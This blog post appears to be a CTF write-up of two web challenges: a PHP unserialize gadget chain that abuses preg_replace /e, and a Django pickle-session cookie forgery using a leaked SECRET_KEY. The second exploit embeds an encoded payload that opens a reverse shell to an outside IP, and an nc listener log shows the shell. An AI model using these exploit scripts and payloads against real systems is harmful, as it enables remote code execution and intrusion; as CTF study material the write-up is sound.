kpop (web200)
We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the
state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.
-- _destruct -- function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND); } ... function log($txt) { $this->logwriter->writeLog($txt); } ... function __destruct() { $this->song->log(); } -- _destruct --
Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!
-- logger -- class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND); } }; -- logger --By using the /e switch, we can execute arbitrary code:
-- exploit -- matchPattern=$a;$this->replacement=$b;} } class LogFileFormat { public $filters,$endl; function __construct($a){$this->filters=$a;$this->endl='';} } class LogWriter_File { protected $filename,$format; function __construct($b){$this->filename='';$this->format=$b;} } class Logger { protected $logwriter; function __construct($a){$this->logwriter=$a;} } class Song { protected $logger,$name,$group,$url; function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;} } class Lyrics { protected $lyrics,$song; function __construct($a){$this->lyrics='';$this->song=$a;} } $of = new OutputFilter('/(.*)/e',$payload); $w = new LogWriter_File(new LogFileFormat($of)); $e = new Lyrics(new Song(new Logger($w))); echo base64_encode(serialize($e)); -- exploit --Flag: One_of_our_favorite_songs_is_bubble_pop
reekee (web200)
We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.-- cut -- url = request.POST['url'] text = request.POST['text'] try: if "http://" in url: image = urllib2.urlopen(url) else: image = urllib2.urlopen("http://"+url) except: -- cut --
Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the
file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see http://en.wikipedia.org/wiki/Fragment_identifier);
something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that
the session was serialized with pickle and cookie was signed in settings.py.
-- settings.py -- SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' -- settings.py
The signing was done with an HMAC with a secret stored in settings.py. Let's read it and forge some cookies to get RCE (django code ripped from: https://github.com/danghvu/pwp)
--- exploit --- import os, hashlib, sys, pickle import requests, subprocess from hmac import new as hmac from base64 import b64encode as b64 from lxml import etree def send_django(key, add, payload,t): def base64(s): #taken from django import base64 return base64.urlsafe_b64encode(s).strip(b'=') def salted_hmac(salt, value, secret): #taken from django key = hashlib.sha1((salt + secret).encode('utf-8')).digest() return hmac(key, msg=value, digestmod=hashlib.sha1).digest() import time import baseconv #taken from django timestamp = baseconv.base62.encode(str(int(time.time()))) data = base64(payload)+":"+timestamp mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac} t.update({'sessionid':s}) return requests.get(add, cookies=t) IP = '91.228.198.97' PORT = 41412 url ='http://54.82.251.203:8000' r = requests.get(url+'/login') cook = r.cookies tok = r.cookies['csrftoken'] print tok r = requests.post(url+'/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook) print r.text p = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcw0AAAA5MS4yMjguMTk4Ljk3acShAABpAAAAAGkBAAAAaQIAAABzBwAAAC9iaW4vc2hzAgAAAC1pKAIAAABzDQAAADkxLjIyOC4xOTguOTdpxKEAACgGAAAAdAoAAABfX2ltcG9ydF9fUgAAAAB0BwAAAGNvbm5lY3R0BAAAAGR1cDJ0BgAAAGZpbGVub3QEAAAAY2FsbCgFAAAAdAIAAABzc3QCAAAAc3BSAgAAAHQBAAAAc3QBAAAAcCgAAAAAKAAAAABzGAAAAC9ob21lL21hay9waHVuL3BpY2tsZS5weXQDAAAAcHduBgAAAHMSAAAAAAIMAQwBDAEMAA0BFgAWABYB'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR." SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-' r = send_django(SECRET_KEY,url+'/make',p,cook) print r.text --- exploit ---On listener:
$ nc -l -p 41412 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(reekee) gid=1001(reekee) groups=1001(reekee) $ give_me_the_flag.exe mymeme use_exe_to_read_me.txt $ ./give_me_the_flag.exe flag: why_did_they_make_me_write_web_apps write: Success
No comments:
Post a Comment